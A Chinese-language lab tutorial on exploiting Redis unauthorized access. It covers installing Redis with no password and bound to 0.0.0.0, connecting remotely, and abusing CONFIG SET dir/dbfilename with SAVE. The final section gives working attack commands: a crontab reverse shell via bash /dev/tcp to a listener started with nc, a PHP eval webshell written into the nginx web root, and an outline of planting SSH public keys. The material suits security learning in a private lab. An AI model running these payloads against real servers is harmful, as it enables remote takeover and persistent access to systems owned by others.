redis是高速缓存型数据库,主要用户缓存一些频繁使用的数据来缓解数据库的访问压力。而redis未授权访问漏洞是因为redis数据库使用的过程中没有设定密码,任何人都可以直接连接数据库,这既是未授权访问,这是个通用漏洞,部分版本。redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将redis服务暴露到公网上,如果再没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问redis以及读取redis的数据。
漏洞产生条件:redis绑定在0.0.0.0:6379,并且没有添加防火墙规则,直接暴露在公网;没有设置密码认证,可以免密码远程登录redis服务。
redis再最新版本中极难出现未授权访问的问题
redis是一种nosql数据库,数据存在内存中,读取快,通常用作缓存,但是有其致命的问题,服务器一旦崩溃,内存数据丢失,存储键值对key-value来存储数据,在老版本中没有密码 ,只有知道ip、能对外连接(端口6379开放),如果不对外连接,我们可以使用ssrf去访问本地redis协议,
redis是自动换行标准化执行(那不就刚好和gopher一样吗?换行操作)
redis安装配置
在192.168.81.151编译安装redis
1、安装redis依赖
yum install -y gcc tcl
2、解压,并且将文件放在/root
[root@client hql]# tar -xzf redis-6.2.14.tar.gz
3、进入redis目录,运行编译命令进行编译安装
[root@client ~]# cd redis-6.2.14/
[root@client redis-6.2.14]# make && make install
#默认安装路径在/usr/local/bin目录下,查看目录下的内容确保安装成功
4、启动redis
[root@client redis-6.2.14]# redis-server
[root@client redis-6.2.14]# redis-server redis.conf
5、停止redis进程
[root@client redis-6.2.14]# ps -ef | grep redis
root 10301 5177 0 10:52 pts/1 00:00:00 redis-server *:6379
6、修改配置文件
#备份配置文件
[root@client redis-6.2.14]# cp redis.conf redis.conf.bak
[root@client redis-6.2.14]# vim redis.conf
bind 127.0.0.1 -::1 #允许访问的地址,默认是127.0.0.1,会导致只能在本地访问,修改为0.0.0.0则可以任意IP地址访问
daemonize no #守护进程,修改为yes即可后台运行
#requirepass 123456 设置后访问fedis必须输入密码,因为这里我们要测试未授权访问,所以关掉密码
7、更改配置完启动
[root@client redis-6.2.14]# ps -ef | grep redis
root 10526 1 0 11:05 ? 00:00:00 redis-server 0.0.0.0:6379
8、为了方便控制redis,我们可以把redis添加为服务,就可以通过systemctl来控制redis了
#首先新建一个系统服务文件
[root@client system]# vim /etc/systemd/system/redis.service
#写入内容
[Unit]
Description=redis-server
After=network.target
[Service]
Type=forking
ExecStart=/usr/local/bin/redis-server /root/redis-6.2.14/redis.conf
PrivateTmp=true
[install]
WantedBy=multi-user.target
#重载系统服务
[root@client system]# systemctl daemon-reload
#需要重启主机
reboot
#利用系统命令启动redis
[root@client redis-6.2.14]# systemctl start redis
#停止
systemctl stop redis
#重启
systemctl restart redis
#查看状态
systemctl status redis
#开机自启
systemctl enable redis
9、测试连接redis服务器,安装完redis之后,默认会安装一个本地的客户端redis-cli,可以通过这个歌客户端连接操作服务器
[root@client redis-6.2.14]# redis-cli
127.0.0.1:6379>
#直接连接本地的redis数据库服务器,默认没有密码
[root@servie ~]# yum install redis -y #192.168.81.150
[root@servie ~]# redis-cli
Could not connect to Redis at 127.0.0.1:6379: Connection refused
not connected> exit
[root@servie ~]# redis-cli -h 192.168.81.151
192.168.81.151:6379> #连接成功
redis基本操作
redis默认端口6379
#添加数据 set key value #获取数据 get key #删除数据 del key #查看key keys * #清空数据 flushall
redis配置操作
config set dir /home/test #设置工作目录 config set dbfilename redis.rdb #设置备份文件名 config get dir #检查工作目录是否设置成功 config get dbfilename #检查备份文件名是否设置成功 save #进行一次备份操作(落盘)
#例 set name hql config set dir /home/ #设置工作目录 config set dbfilename hql.rdb #设置备份文件名 save

redis未授权访问漏洞危害(利用方式)
一、利用定时任务反弹shell
监听器:192.168.81.150
nc -lvvp 4444
通过给目标主机的redis未授权访问漏洞写入反弹shell的指令
redis-cli -h 192.168.81.151 set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.81.150/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfielname root
save


成功反弹

二、利用redis写webshell
config set dir /usr/local/nginx/html
config set dbfilename root
set test "<?php eval($_POST['123']); ?>"
save
过程与反弹shell一样,就不在赘述
三、利用公私钥认证写入
在linux中,有一个免密登录的功能,将自己的秘钥发送给对端,保存在author_keys文件里面,就可以免密登录。那我们就可以利用redis直接把公钥写进去,就可免密登录服务器了
过程遇上类似,我们直接把公钥写入到需要登录的redis服务器的密钥管理文件中,就可以实现免密登录了。